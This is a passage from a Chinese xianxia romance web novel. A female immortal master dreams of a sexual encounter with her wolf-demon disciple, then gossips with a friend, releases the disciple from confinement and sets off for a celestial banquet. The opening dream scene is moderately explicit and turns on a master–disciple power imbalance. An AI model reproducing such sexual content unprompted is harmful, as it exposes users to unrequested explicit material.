其实我是好奇,他究竟知不知道我要对段灼做的事。
段灼漫不经心道:“知道,你想杀了‘我’。”
他这副模样就像是在说一个毫不相干的人,而并非他,不过梦外的段灼确实与他不是同一个人。
我又问:“为何不劝我?”
段灼抬起头,与我道:“我方才说过,师尊想如何做,那便如何做。”
就如他方才说的那样。
纵然我要杀他,他亦毫无怨言。
可我知道面前这个段灼说的话不能够作数,毕竟他是我的梦影,生于我长于我,便会顺着我的想法说。
我说:“那颗心,不是你的。”
段灼双眸如深潭,轻声道:“我的心,他的心,师尊想要便拿去。”
我:“我什么都不想要,无论是你的心,还是他的心。”
我要这心有何用,我不是妖,不用吃人或仙的心才能活着。
段灼:“师尊不要,我也会送给师尊。”
真是执拗得可怕。
我看着他,神色有些复杂,其实他不知道,他的心就是我的心,他心中所想,便是我心中所想。
段灼以为我并无别的话想说了,便又将那毛茸茸的脑袋靠在我怀中,身后跟着的尾巴也轻轻蹭着我的腰。
我坐于他怀中,微微挪动身体,听见他闷哼了一声。
我似乎碰到不该碰的东西,面上一热,刚想道歉说自己并非有意的,段灼却先开口了:“若师尊再乱动,我便不能保证会尊重师尊的意愿了。”
他的声音沉闷,与方才有些细微的不同,我知晓他说的话都是真的。
还未抬头,我就能感觉到那体量。
我没有与别人做过这样的事,诚然在这方面我也是个新手,但其实有一件事,我还有些好奇。
我真诚问道:“你这个算大吗?”
大概是我这个问题问得奇怪,我能够明显感觉到段灼在我怀中的脑袋有些僵硬。
段灼起身朝我露出一个无害的笑,气息落在我耳边,指尖缓缓下滑,与我十指紧扣,狼耳还在微微晃动着。
他的唇贴过我的鬓发,问道:“师尊觉得呢?”
我摇头:“我不知,我从未与旁人做过这样的事。”
他的另一只手抚过我平坦的小腹,也正低着头看向那处,话音却有些认真:“下次,师尊可以抚摸这处,若是能够摸到形状,那便是……”
后面的话他并未再说。
其实我建议,段灼在与我说这些事时,就不要叫我师尊了,实在是让我有些汗颜。
不过也不怪他,毕竟是我先提起的。
因他的话,我的脸红透,其实上一次我就触到过。
那时,我以为要我坏掉了,甚至还落了几滴泪。
想起这些,我也难免红了红脸。
我垂眸微微点头:“嗯。”
这次问了,以后再也不好奇了。
冰冷的指尖攀缠在各处。
段灼神色迷蒙,吻过我的唇、眼、眉。
我看着他这副模样怔了神。
我与他十指紧扣,探到一处,便微微一颤。
我浑身上下如临大敌般绷直了,看着他的神色中亦有隐忍,面上温热,指尖紧紧扣住他。
段灼见我如此,便与我咬耳朵:“师尊,你要负责才是。”
是我刚刚不小心碰到了一下,但我不是故意挪动的,亦不是故意触碰的。
我有些踌躇,方才问之时我便有这个想法,但段灼更知道,我在睡前其实并无这样的想法。
感觉若是出尔反尔,是否有些伤我的自尊了。
我结巴:“我……”
段灼不说话了,而后我听见他浅浅的呼吸落在我耳旁,我想着大概是他将这样的想法消下去了。
“嗯……”
“师尊……”
“……”
他侧身微动,将我抱在怀中,我身上还穿着白日的那身衣裳,髀间微微岔开,他的呼吸深深浅浅落下,我低头便能看到那浊物在两髀之间。
我的脸颊骤然滚烫起来,身体中的热流比方才还翻涌,我将视线往上移,落到他那张含情的俊脸上。
段灼的眉眼间挂着些汗珠,从眉眼处缓缓往下滑,过了高挺的鼻梁,再到下巴处。
段灼是好看的,但是如此情境之下,却是不能多看的。
我的目光又落到别处。
“师尊……”
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段灼又开始唤我。
“师尊为何不看我?”
……
我躲在他怀中,轻声道:“我不想看……”
他细密的吻如雨,落在我苍白纤细的脖颈上。
不知过了多久,双髀之间疼痛不已,这才结束。
如此折腾一道,使我在梦中也困得不行,坐在他怀中昏昏欲睡,也懒得再去羞怯,再去管别的。
在意识消失之前,段灼吻过我的鬓间,唤了声“师尊。”
*
日光初初透亮,云霭将化开来,远山含着微醺的黛色,已是晨间梦醒之时。
我从床上坐起来,回想起梦中的事,脑袋还有些发蒙。
我满脑子都是段灼说的,我是他的妻。
醒了还是觉得,此话简直荒谬啊。
在我看来,我算是跟芜奚在一起,也不会跟段灼在一起。
当然,我也不会跟芜奚在一起,我是个有操守的仙,品味也没这么低下。
这时通灵响起,我方接通,便听见云恒异常兴奋的声音,唤道:“小镜儿小镜儿!”
听见“小镜儿”三个字,我的嘴角抽了抽,其实我曾制止过云恒这么唤我,但却都无济于事,索性我也不管了。
我道:“有何事?”
云恒嘿笑两声,道:“没什么没什么,就是近来闲来无事,怕你我二人间生疏了,与你联络联络感情。”
她又问:“不过,你与段灼如何了?”
我无语:“后面的话才是你想说的吧?”
云恒道:“我记得上一次通灵,你说将南海明珠给他了。”
“对对对!我记起来了,封镜,你恋爱脑发作了,要监视段灼!”
我:“……”
“小点声,耳朵都要聋了。”
云恒委屈道:“你居然凶我,你会凶芜奚吗?会凶段灼吗?”
我叹了口气,不知道她在与他们比些什么:“是你先满口胡话的,且我并未凶你。”
芜奚左右都是仙君,我没事凶他干嘛。
至于段灼,我自然也是凶了的,只是云恒不曾见过。
我道:“我是将南海明珠给他了,可许久之前我便与你说过,我会将此物给他。”
“不过我送之前也并不知晓此物的作用,再说,我堂堂正正一个仙,为何要监视他一个小妖?”
云恒将信将疑道:“真的?”
我:“若是你不信,我也没什么好说的。”
云恒立刻道:“我信我信!”
云恒又想起上次通灵的事,说道:“你上次还将我的通灵音挂断了!”
我:“碧水瑶台信号不好。”
“你你你!碧水瑶台灵气最是充沛,如何会信号不好?”
她气得说不出话来。
我道:“我将段灼关进幽闭了,他犯了错。”
其实说这话不过是想将方才所说的揭过去。
闻言云恒像是来了精神,立刻问道:“他犯了何错?”
我:“偷窃。”
云恒:“可我看着他不像是会偷窃的人。”
我直言:“你未免太看脸了。”
若是看段灼的脸,我也会觉得他不像是偷窃的人。
云恒不甘示弱道:“你也是!”
“不过小镜儿你想想,段灼的爹是魔尊,母亲是狼族,他能够缺几个钱?其实也并非是我看脸,他这样的背景,一看就不缺钱。”
我道:“魔尊并不疼爱他。”
云恒明显愣住了:“你为何知晓魔尊不疼爱他?你们已经到互相说自己伤心过往的那一步了吗?”
21. 第二十一章
我这才意识到自己说漏嘴了,于是找补道:“若是疼爱他,怎可能舍得将他送来仙界?”
好在云恒也不是特别聪明的人,我与她解释后,她便信服了答道:“也是哦。”
这个话题过后,云恒才提起她今日为何通灵找我。
她道:“过几日西王母的宴会你可去?”
我道:“自然是要去的。”
蟠桃宴是仙界较为重要的宴会,若我不去,便是拂了西王母的面子。
云恒继续道:“你可知芜奚也会去?”
这个我确实不知,去年的蟠桃宴芜奚并未去。
我道:“我可不关心他去也不去。”
云恒笑道:“往日里但凡你听闻他在的宴会,都不曾去,如何能算作不关心?”
我道:“你也知晓蟠桃宴何其重要,我就算不想,也不能不去。”
若是我不去,西王母便会让人来碧水瑶台请我。
我不禁想起了许多年前,我说要去魔域找魔尊报仇,西王母将我关在昆仑山好几日,苦口婆心劝我。
云恒道:“确实如此。”
我又与她说起:“蟠桃会不只请了我,还请了段灼。”
云恒一开始还不以为然,后来听清楚后也颇为惊讶:“哦……啊?”
“请了段灼?!”
“为何?”
蟠桃会五年一次,且只请在仙界颇有威望的仙家。
我摇头:“其中缘由,我也不知,只是有些猜测。”
云恒道:“段灼是魔尊之子,唤他来参会,应当是想让他也感受一下仙界蟠桃会的氛围吧?毕竟蟠桃会也并非年年都有。”
我点头:“也有可能。”
云恒不再说这事,与我说起别的:“不过近来,我听闻魔界发生了一件大事。”
我心中叹道云恒这个八卦面未免也太广了:“魔界里的事你都知晓?”
云恒骄傲道:“那是!这天上地下的大事小事,可没有我不知道的!”
我道:“是是是,你最厉害。”
云恒不满:“你又敷衍我,不过这次的事与以前那些可不同,是与段灼有关的。”
后面半句话,才有些勾起了我的兴趣。
云恒道:“我听闻魔尊的一个侍妾死了。”
“这与段灼的关系是?且这就是你口中的大事?”
在我看来,魔尊嗜血残暴,魔宫之中更是侍妾众多,这死了一个究竟对魔尊来说算得了什么大事?
云恒道:“魔尊是不是段灼他爹?”
我:“哦,你说的是这个有关啊。”
“你继续听我说!”
“若是寻常的侍妾就罢了,毕竟这样的事在魔界的魔宫中时常发生,只是听闻那位侍妾是异族,且是魔尊少年时的白月光,她死后,魔尊在魔宫中一顿发疯又杀了好几个侍妾。”
我问:“既然是白月光,又为何会死?”
“这便不知了,不过我猜测,应当是如人间皇帝宫中那样吧?为了争夺魔尊的宠爱,这些侍妾对彼此大打出手,不然魔尊后来为何会杀这么多侍妾。”
我:“我宁可他们争的是一块能解饥饿的馒头,而并非一个人的爱。”
云恒总是会与我讲一些三界中稀奇古怪,我闻所未闻的事,听多了便觉得什么东西能从她口中说出来也不奇怪了。
云恒道:“情与爱究竟是什么滋味?竟能叫人发疯。”
我摇头:“我不知,不过我也并不好奇。”
云恒抱怨:“你怎么一点人味儿都没有?”
我道:“因为我是仙。”
“不过说来,这事也确实有可能与段灼有关,毕竟段灼的母亲也是魔尊的侍妾,小镜儿你说,这其中死的人会有段灼的母亲吗?”
我一怔,回答道:“我不知。”
我想起段灼枕着我的双膝,哭着叫“娘”的场景,若其中死的真有一人是他母亲,不知他会伤心成什么样了。
云恒好一会儿不说话,过会又问道:“不过你说,王母娘娘那蟠桃究竟是如何种出来的?硕大一个,甜滋滋的,还脆。”
我佩服她如此跳跃的思维。
我道:“你若是在你院子里种一棵桃树,日日浇水,施肥,也能如此。”
“为何?”
我道:“仙界的水土养花养草,种什么都会比人间的好。”
“对哦!”
云恒又道:“这次芜奚要去,段灼也要去,新欢旧爱一起,不得大战一场?”
我刚喝进去的茶水差点喷出来:“何为新欢旧爱?”
“芜奚是你的旧爱,段灼是你的新欢啊。”
“这二人,我都从未喜欢过!”
云恒嘿嘿笑了两声:“别吼别吼,耳朵都要聋了!”
“让我们拭目以待吧!”
像是为了报复我前几次挂断通灵音似的,还没等我还嘴,云恒便将通灵音挂断了。
晨间起床,光顾着与她闲聊去了。
这几日段灼在幽闭,我也不想去校场,索性在寝殿中呆上几日,打坐修炼,或是练练剑。
我自出生起便体弱,甚至有早夭的可能,故而能走路后,便跟着我爹我娘修炼,他们在修行方面督促甚严。
但纵然是修炼后,我的体魄逐渐强健,却也时时生病,时时高烧。
我记得,儿时我在娘亲温热的怀抱中,她与我爹为了照料我,一夜未曾合眼。
如今就算我并未像前几年一般勤修苦练,却还是保持着打坐修炼的习惯。
在我的记忆中,我娘的怀抱是温热的,但她却极少抱我。
我儿时以为她是不想与我亲近,每次生病便总是哭着闹着要她抱我。
我爹会制止我,将我抱在怀中哄着,他说我娘怕伤到我,怕我像云雾似的消散了,故而才极少抱我。
到如今不知我娘有没有后悔在她还活着的时候,没有多抱我几次。不过故去之人并无意识,又何来后悔之说?不过是徒留活着的人伤感。
不知我娘如何,我却是真的后悔了,要是知晓有今日,就算是哭着闹着,也应该让我娘亲多抱我几次才是。
那样的温暖,我再也感受不到了。
段灼那几声“娘”让我对过往有了些追忆,心中也起了波澜。
不知不觉间,就这样过去了几日。
守门弟子在外敲门,与我道:“师尊,今日已到段师弟进入幽闭的第五日。”
幽闭只有我一个人能够打开,故而段灼也只能我亲自去放出来。
我缓缓睁开眼,浑然不觉竟已过去五日。
我回道:“我一会儿便去。”
*
后山幽闭处,我瞬身过去时,幽闭结界前还候着几个弟子,都是与段灼一个庭院的,他们手中还拿着一个布条。
并非他们多在乎段灼的生死,只是我立下的规矩,在幽闭受惩戒的弟子与他同住的几名弟子需记得出来的时日,并提醒我,若是迟了,会受到我的责罚。
纵然我不记得,他们也要记得。
不仅是要记得时间,还要去幽闭接那受惩的弟子。
当然,前者是因为我懒得记这些事,而后者……原因是什么,我早就忘了。
大概是为了……团结?
我扫他们几人的神色,好几人脸上的厌恶就算是我来了都快盖不住了,他们似乎并无一人希望段灼出来。
见我来,一干人行礼道:“见过师尊。”
我点头:“嗯。”
我手一挥,幽闭之外的门打开了。
这几名弟子进入幽闭中,将段灼扶了出来。
段灼的眼上蒙着布条,额
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间的朱砂泛着淡淡的红,消瘦了些,且似乎已经昏死过去了,想来这五日他在幽闭中也并不好受。
从幽闭中出来的人,双眼需慢慢适应外界的强光,故而才需蒙住眼。
“师尊,弟子们先行告退。”
我道:“去吧,让他休息两日再行修炼之事。”
“是。”
我看着这几个搀扶着段灼的弟子,他们的神色都不太好,就像手中扶着的并非同门,而是个令人生厌的污秽之物,若非我在这里,估计段灼会被他们丢在地上,任他自己爬回弟子居。
既然我说了,想来这两日段灼能不被旁人打扰,安心休息两日了。
我有我自己的考虑,而并非为了段灼。
若是段灼这几日不将眼睛养好,去西王母那处时,我要如何解释将好好一个妖弄成这样?
我纵然不为他人着想,也要为我自己的名声着想。
两日后,我去校场看弟子们练剑。
我环视一周,并未见到那一抹玄色的身影,想来段灼是真的没来。
今日是比武较技,段灼没来,与他比武的弟子便是一个人。
他与段灼在弟子居中是一个庭院的,昨日段灼出幽闭,他也来了。
我走过去问道:“段灼可好些了?”
那弟子被我问得神色错愕,我也读懂了他的错愕,大抵是他并不知晓段灼如何了,也并未去看过他。
他神色闪躲,不敢看我,挠了挠头,小声道:“应当……不对,段师弟比昨日好些了。”
我并未训斥他,只道:“今日晚些你去看他,再与他说,明日早些换身干净的衣裳,我要带他去蟠桃宴。”
他瞪大了眼,也不管什么长幼尊卑,只愣道:“蟠桃宴?是五年一次,西王母娘娘办的蟠桃宴?”
他似乎不相信我会带着段灼去参加这样重要的仙界宴会。
我点头。
那弟子还在继续说着:“可……可段灼他一介小妖,难登大雅之堂,如何能去蟠桃宴?”
我也有些厌恶他这般多话,我问:“你也想去?”
他却不说话了,神色慌乱,额间落下一些涔涔冷汗来:“我……”
我道:“也不看自己如何配去。”
撂下这句话后,我便离去了,留他一个人在风中错愕。
他不会恨我,他会恨段灼,会想为何段灼一个小妖去得,而他却去不得,还要平白受我这个师尊这样的羞辱?
于我无害而轻飘飘的一句话,会害惨段灼。
*
第二日间晨,后山弟子们养的鸡还没叫,我就先醒了。
晨间,我习惯先到庭院中站着吹吹冷风。
今日我推开门,冷风还并未吹到身上,却见到一身漆黑玄衣肩宽腰窄的少年,如一柄锋利的剑般立在门外。
他脸上并无别的表情,看到我,又将神色错开了些,行礼道:“见过师尊。”
我看着他有些消瘦的脸颊,想来在幽闭的日子确实不好过,道:“起。”
我的神色从段灼脸上挪到他今日的衣裳上。
这身衣裳虽然与他平日里的玄衣一类色,但我细看却发现云纹却与他平日里的有些差别,简言之,这是较好的面料。
我问:“这身衣裳与你平日穿的有差别,何时买的?”
闻言,段灼目色沉沉,似乎多了几分难掩的伤心,低下头片刻,像是在瞧着衣服上的云纹,而后又抬起头看我。
“师尊赠我的。”
我确实送过段灼很多东西,却从未送过衣裳,至少在我的记忆里是这样的。
大概是看出了我的疑惑,段灼与我道:“去年七月十三日,师尊曾让一位师兄将一匹玄色的衣料置于我屋内,让那位师兄与我说:‘左右碧水瑶台中只有你穿玄色,拿去做身衣裳吧’。”
22. 第二十二章
我:“……”
我不知此时此刻我的脸上是什么样的表情,想来应该是惊讶、错愕,伴随着一点尴尬。
他为何能够记得日期,还能将我的话字字复述出来?
我觉得以后我与他说话,需字斟句酌,不然若是许久之后,他将我的原话复述出来后,我会觉得特别尴尬。
千错万错都是我的错,怪我又往他房中丢不要的东西了。
那是极好的面料,是某位神仙送我的,只是我不爱穿玄色,于我而言也成了无用之物。
我点了点头:“原来如此,我忘记了。”
我送段灼的东西实在是太多了,不可能件件都记得,我想那些送我东西的神仙也不会一件件都记得是什么时候送给我的,送的又是什么东西。
段灼又抬起那双如他身上这玄衣般幽深的眼看着我,他的目光如蛇在我身上缓缓梭形,爬过我身体的每一寸,不知是因为晨间的山风瑟然还是段灼的眼神,竟叫我有些冷。
下一刻,段灼的脸上竟爬上一丝绯红,他别过头,那双漆黑的眼落到别处,与我像是有话要说。
却最终只是唤我一声“师尊。”
如果他没问题,那问题就出在我身上,出在他刚刚看我的眼神上,我凝眸微微思索,难道我身上有东西?
我垂下眼眸,这才明白了为何段灼是这样的反应。
我看见自己正穿着一身单薄的纱衣,随着冷风,裙摆正摇曳着,洁白的肌肤顷刻便要暴露在冷风中。
哦,原来不是段灼的眼神让我觉得冷,是这风叫我觉得周身寒凉。
我:“……”
这纱衣单薄柔软,穿着睡觉可视作无物,旁人看起来亦然。
这“看起来”的旁人甚至还是段灼。
“……”
我眼睛一闭,我这师尊的尊严可以说是荡然无存了。
我“砰”一声将门拍上,将段灼隔绝在外。
我换了素衣,将青丝挽起,深吸一口气做了些心理建设,这才将门打开。
段灼在门外,还如方才那般规矩站着,跟只看门的狗似的。
鸡没叫,天也没亮,守门的弟子也没来,我这寝殿要多安静有多安静,谁知道这么早就有人找我。
我甚至不知他究竟是如何进来的。
我问:“你是如何进来的?”
段灼却只是看着我,他的脸上还带着方才的那一缕红。
这时桃花精才忙不迭飞到我身边,与我说道:“女仙,那妖族少年又翻墙……”
桃花精见他更是神色惊诧,往我身后一躲,小声颤颤道:“原来……原来已经被女仙抓住了。”
我与段灼听完桃花精的话后,对视良久。
段灼垂头,屈膝跪地道:“弟子知错,还请师尊责罚。”
有门不走,偏要翻墙。
我甚至觉得段灼都不知道自己何错之有,错就错在,不该被我发现。
我问道:“为何翻墙?”
段灼闷声道:“弟子以为,师尊走了。”
我:“?”
我走了便可以翻墙了吗?
即便是这样的回答,也很难能叫人不生气。
他也并非第一次做这样的事了,每次做错了什么认错比谁都快。
我看着他的模样,叹了口气,今日不罚他,毕竟等会还要去蟠桃宴,等回来再说。
“下不为例。”
“是,师尊。”
我又问:“你刚刚看见了什么?”
段灼抬眸看我,却又绯红着脸垂下头,支支吾吾:“弟子……弟子未曾看见什么。”
我:“……”
没看见才怪。
我冷声道:“该说什么,不该说什么,想来你心中是清楚的,我便不再多说别的。”
段灼与我行礼道:“弟子若是与旁人非议师尊,便被降下天罚,受千刀万剐之刑。”
仙最忌讳的就是发誓,毕竟若是真的违背了誓言,便会成真。
见他如此,我便放心了。
段灼说完后,便抬头看着我,他像是有话想与我说似的,其实我心中希望不管他想说什么,最好还是别说。
可我看着他那有些希冀的神色,觉得他还是会与我说些别的,或是问我些什么。
他道:“弟子想问,师尊当真觉得是我偷了钱?”
纵然我罚了他,他仍旧希望我是相信他的。
我向他的神色中有些不耐:“此事已有定论,你不必再问,纵然在幽闭中关了五日,却还是不知反省自己?”
段灼这才又垂下头道:“弟子知错。”
他将这四字咬得艰难,像是要呕出血再吞咽回去后吐出这几个字。
“知错就不要再提。”
“……是。”
纵然是关了五日的幽闭,段灼似乎也并未到恨我,亦或是厌恶我的地步,有些出乎我的意料。
我总是在心中觉得段灼看我的眼神像一只讨饭的狗,但谁知他的性子亦如狗一般,吃了顿饭后,如何打如何骂都赶不走了。
不仅如此,他还觉得有些委屈。
我思来想去,都想不明白究竟是哪里出了问题。
我转身准备回,段灼却从身后拉住我的衣袖问道:“我在幽闭时,师尊可来过?”
我回头,视线落在被他紧紧拉住的衣袖上。
因我的神色,段灼悻悻松手,我的衣袖又自由了。
我看着他那双漆黑的眸,又扫过他与额间朱砂同色的唇,我摇头:“并未。”
他怅然若失般立在原地。
我叹了口气,看着我皱巴巴的衣袖,心道今夜又要做梦了。
碧水瑶台中所有弟子都知道,进入幽闭的第一晚,我是一定会来的。
但因为是段灼,我甚至不想让他知道我去过。
段灼却又与我说:“我想回酆都。”
我一怔:“为何?”
其实段灼回了酆都也好,从此以后我不是他的师尊,我不会杀他,他未来应该也不会再杀我了。
若是段灼走了,我不必再忧心预知梦会成真。
毕竟他若回到酆都,是死是活尚未可知,此生能否再见,亦尚未可知。
段灼的神色有些踌躇,犹豫了许久,才决定与我说似的:“我梦到……我娘在酆都过得不好。”
他那双往日里总是幽静到如死水的眼眸在他说起这些时,轻轻转动着,漾起一些担忧。
我以为他是在碧水瑶台过得不好,才想回酆都,却并未想到竟是这个原因。
我问:“那你在碧水瑶台中过得可好?”
段灼听见我的问题却愣住了,他看着我,又垂眸思索许久,那双黝黑的眼眸又抬了起来。
“我过得很好,师尊照拂
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我,师兄们关心我。”
他的声音沉闷,我不知他说这些之时脑海中可有闪过师兄们欺压他、孤立他,而我对这些视之不见,甚至也欺辱他的画面。
他只是梦见娘亲过得不好便想回去。
可这五年,无论他爹还是他娘,怕是没有一个在意他过得好与不好。
且再说,就算过了五年,他也只是一只妖力低微的小狼妖,就算他娘过得不好,他回去又能做些什么呢?
我道:“此事后议。你来仙界并非我一个人的意思,若是想走,我要与他们商定。”
我只有收留段灼的权利,却没有赶他走或是同意他离去的权利。
段灼点了点头道:“多谢师尊。”
说时,段灼正跪在地上。
我与他头顶的桃花纷纷而下,落于鬓间,他抬头看向我,落花纷纷中,我参不透他的眼神。
落花滚落在他漆黑的衣裳上,像纷纷落下的雪,曾几何时,我也曾见过这样一场雪。
我的心中竟有些说不出的感觉。
段灼想走,这于我而言,并不是什么坏事。
我微微思索,三界的和平并非是因为他这个半途送到天上来的“质子”,毕竟五年前三界早已和平多时。
他被送来,不过是魔尊轻飘飘一句“求学”,这才使他身陷仙界囹圄中。
在我看来,段灼若是想走,仙界自然会放人,但魔界会不会接纳他,却未可知。
我正兀自想着,殿外的门被非常暴力地打开了,桃花被开门扑进来的一阵风吹得满天都是。
“小镜——”
“儿”字还没出来,我便看见了推门进来的云恒,她今日换了身比往日得体些的衣裳,更像个女仙,只是动作还是不如外表看起来那般温柔娴静。
这一声暴力推门,惊得枝上栖息的鸟雀漫天飞舞,桃花树亦晃了晃。
我:“……”
方才在想什么,在神伤些什么,全然忘记了。
她看我站着,又看段灼跪着,神色有些微妙的变化。
我怀疑她在想一些不正常的东西。
她的行径也证明了我的怀疑是正确的。
随后,我又听见一声闷响,庭院的门又合上了,却并未完全合上,留了一条缝。
云恒在门外朝里面吼着:“对不住对不住!你们继续,我在门外等着!”
我看着那条缝中露了双眼出来,不禁有些无语:“你直接进来吧,别在那里偷看了。”
我与段灼并未做什么见不得人的事,如何会介意有旁人在。
门外的云恒嘿嘿笑了两声:“我以为我来得不是时候呢。”
我心中腹诽,其实还真的不是时候。
云恒推门进来,左右看了看我与段灼,又道:“你们这是在?”
我道:“训诫愚徒。”
只是这四个字,段灼骤然握紧拳心,他那张俊俏的脸不经意间又闪过一缕红,只是垂着眸,背对着云恒,只我一个人能看见。
我:“……”
其实我真的不知道段灼究竟在脸红些什么。
而且,为何段灼总是这样一副与我不清不楚的样子?
云恒又轻飘飘绕到我身边,她端详了段灼许久。
这才道:“你将他的脸都训红了。”
我:“……”
早知道不让她进来了。
23. 第二十三章
我对云恒说:“你还是出去吧。”
云恒抱怨道:“哼哼,我一大早起来,寻你一同去蟠桃宴,你竟然这样赶我,实在是叫我心寒!”
其实我与云恒的住处隔得有些远,她亦全然可以自己去,为何非要来寻我一起去呢?若我是她,我便会嫌麻烦。
想来想去,当是她对我有挚友情谊,才会如此。
云恒又道:“也罢也罢,再包容你一回,我去门前等着,不耽误你训、徒。”
这最后两个字,她说得阴阳怪气,不过我也当没听见,对着她的背影道:“出去的时候记得将门关好,不要留一条缝。”
云恒:“……”
她出去了,也将门严丝合缝合拢,但是是否在毫无仙样地贴着门听里面的动静,就不得而知了。
我叹了口气,其实现在也还早。
“喔喔喔~~~~~”
就连平日里吵醒我的鸡也是现在才叫。
我:“……”
院中有这两个人本来就叫我心烦了,这鸡一叫,我心中更烦闷了,改日一定要叫弟子给它炖了吃。
我看着脸有些红的段灼。
我问:“你为何脸红?”
段灼只说:“愚徒……”
我的眉峰微微一挑,问道:“愚徒怎么了?”
难道他觉得我骂得难听?
终于轮到我骂人有出息的时候了吗?
段灼再往后说的话却像一记惊雷落在我耳边:“师尊从来不会这样叫其他弟子。”
“?”
其实我是在骂他,但是他似乎觉得这是我对他的……爱称?
我仔细回忆了一下,大概我之前在校场上骂他,他也觉得我是在叫他爱称,所以才会脸红的。
我的嘴角忍不住抽了抽。
我不知道段灼脑袋里究竟在想些什么,不仅是梦里的他不正常,就连现实的他也一样不正常。
我诚实道:“这是我骂你,我不这般叫其他弟子,是因为我不骂其他弟子。”
段灼不说话了,他眸色深邃看向我,神色中有些薄薄的光亮,不知在想些什么。
他在想些什么,我便懒得去计较。
时间一晃而过,我亦不知与段灼呆了多久,直至云恒在外面敲着门,似乎等得有些不耐了:“封镜,你可训好了?”
她这话说得我像是在训狗一般。
我看了段灼一眼,他还跪着,神色有些呆愣,不知在想什么。
我道:“起来。”
他这才回神,道了声“是”,随后站了起来。
段灼站起来跟一座山似的,遮得我连庭院中的桃花树都快看不见了。
我道:“马上出来。”
段灼打算去开门,我拉住他的衣裳,对他道了一句:“且慢。”
他的身体微微僵硬似的,似乎没曾想到我会拉住他的衣袖,缓缓回头看着我。
“师尊……”
我道:“手。”
他虽不明所以,却还是对我伸出了手。
我在他掌中轻点,传了一些我的法术给他,段灼看着自己掌心中萦绕着冰蓝色的光,有些怔然。
我心中腹诽,他这副模样就像是没见过世面似的。
我道:“你可用这术法自行御剑去昆仑山,我与云恒腾云,有要事相谈。”
段灼看着掌中悦动的光,应答道:“是。”
我:“还愣着作何?将门打开。”
段灼推开门,云恒在门外已经不知来来回回绕着这门走了多少次了,这才见我们出来。
云恒见我出来,围了过来,语气有些抱怨道:“怎么这么久!”
我瞥了一眼身后的段灼:“你也知他为妖魔一族,规训自然困难些。”
云恒点头道:“是也是也。”
我并未去看身后的段灼,亦不知他听到这话后是什么样的心情。
云恒与我道:“那我们走吧!”
她又问:“你这徒弟可要与我们一起腾云?”
我摇头:“不,他御剑,我方才已经传了些我的法术给他。”
若是如此还飞不起来,算他自己愚蠢。
云恒不修剑,只学了腾云之术,从前我也会用青霜带她,只是她总觉得青霜太窄,叫她低头看便会害怕,就不愿与我同乘青霜。
云恒道:“你竟传了术法给他,你都未曾传给我过!”
我道:“你当我这法力不要钱吗?你是仙,我传给你作甚?”
云恒哦了一声,喃喃道:“也是哦。”
云恒施法腾云,我与她同乘云离去。
段灼还在身后的碧水瑶台中,手持赤赦剑,仰望着我,后来腾云远去,我也不知他究竟如何了。
其实不想让段灼与我一同腾云是怕云恒多问,要事不过是借口罢了。
我与云恒在云上,我心中还有些挂念着段灼,确实师尊对徒弟的挂念,毕竟我不知他究竟能不能飞起来。
云恒亲昵地挽着我的手,有些冰冷的触感叫我回神,我抬眸,看着云恒正眯着眼,朝我笑。
她问道:“小镜儿在想些什么?”
云恒总是会与我贴得很近,其实我并不习惯与人这般亲昵,只是她总是这般,我也就习惯了。
我道:“我方才将法术给段灼,不知他可能用来御剑,若是半途跌落,岂不是丢我这个师尊的脸。”
云恒道:“你倒是忧心他,不过小镜儿你且瞧瞧身后。”
我顺着云恒的话往后看,正看见了一个玄色的身影踏于剑上,在漫天云雾中,悄无声息跟着这腾云。
云恒笑:“小镜儿还是太关心他了。”
云恒比我高许多,比段灼矮一些,但却比仙界许多仙君都要高。
约莫是原身类于鸟儿的缘由,她的身形纤细,容貌也清丽可人,一副病美人的模样,但她又总是一副笑眯眯的模样,倒是极少叫人看出这般病美人的容颜。
如此性格,叫她在仙界交友甚广,无论是女仙还是仙君,都乐于卖她面子。
我抬头看着她,道:“我并非关心他,我只是关心自己的名誉。”
“原来是这样。”
她又问道:“小镜儿,这些日子你对他可有别样感觉?”
我一口回答道:“没什么感觉。”
纵然我如何说,似乎云恒都对我对待段灼的态度有所怀疑。
云恒仔细看着我,她神色狐疑,似乎想从我脸上看出些别的破绽来。
她挽着我的那只手捏了捏我的袖子,道:“当真?”
我:“我为何要骗你?”
“我与他本就是清白的师徒关系,就是此次去蟠桃宴也并非我让他去的,而是西王母。”
其实这话我早就与云恒说过,如今再次提起究竟是为何,我自己也不知。
云恒却道:“我并未
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问这些,你怎的就着急脱口了?”
我:“……”
事实证明,就算是仙在有些心虚且慌乱的情况下,也会胡言乱语,不知自己在说些什么。
她又道:“你且问我为何?自然是因为我明白你是一个要面子的仙,若是真的喜欢上段灼,想来也是不会承认的。”
我:“……”
我有时不明白,为何云恒能将我看得透透的,当然,也只是看透了我要面子,而非我喜欢段灼,且我也并不喜欢段灼。
我执拗道:“可我并未喜欢他。”
这是真的,我若是喜欢上段灼,我出门被雷劈。
云恒看着我,微微蹙眉,露出了一个我几乎从未在她脸上看到过的表情,她道:“这喜欢与否,却也并非你一个人说得算。”
我道:“并非我一个人说得算,那谁能替我说得算?”
云恒却轻轻笑了一声,她道:“你的心说的才算。”
我当是什么,她这副模样就像是喜欢过他人一般。
至少在我与云恒相处的近百年时间,我从未见过她喜欢任何一个人,无论是仙君、魔族亦或是凡人都没有,男的没有,女的也没有。
说我无欲无求之时,她为何不看看自己。
我摸了摸我的心,正色道:“我的心也说并不喜欢段灼。”
天边的风吹着云恒的发梢,她将鬓间的碎发往后拢了拢,她的下颚线上扬,比寻常女子更清晰些,随后微微笑道:“果然,你就是这天上最好懂的仙。”
我道:“有时就连我自己都看不懂我自己,何来好懂一说?”
我总是不太喜欢她的说辞,在我看来,只有头脑简单四肢发达的生物才会好懂,而我是个堂堂正正的女仙。
云恒却摇了摇头:“这样吗?”
过了许久后,我又听她喃喃道:“我也不懂我自己的心。”
索性云恒也沉默了,她并未再多问我些什么。
我这颗心也算是能放下来,不怕她再问我些其他事了。
又胡乱想了些别的,我别过头,深觉这天上的风与空气,比碧水瑶台还要清新一些。
耳边的风声轻柔,如春水抚过耳廓。
我还能从这风声中感受到,御剑飞行的段灼就在这拨开云雾的另一边,离我很近。
这大概是段灼头一次御剑飞行。
虽然我教过碧水瑶台中每一个弟子御剑飞行的方法,其中也包括段灼,只是他没有灵力,如何都飞不起来。
他有些兴奋,亦有些气息不稳,像个才接触新鲜事物的孩子似的。
我心道,还不如我第一次学会御剑飞行时淡定。
虽然那时我也很兴奋。
云恒微微侧身又贴上我,她与我说些别的,却独独没有再提起段灼如何,想来是我的话奏效了,她应该也晓得我并未喜欢段灼了吧?
天界辽阔。
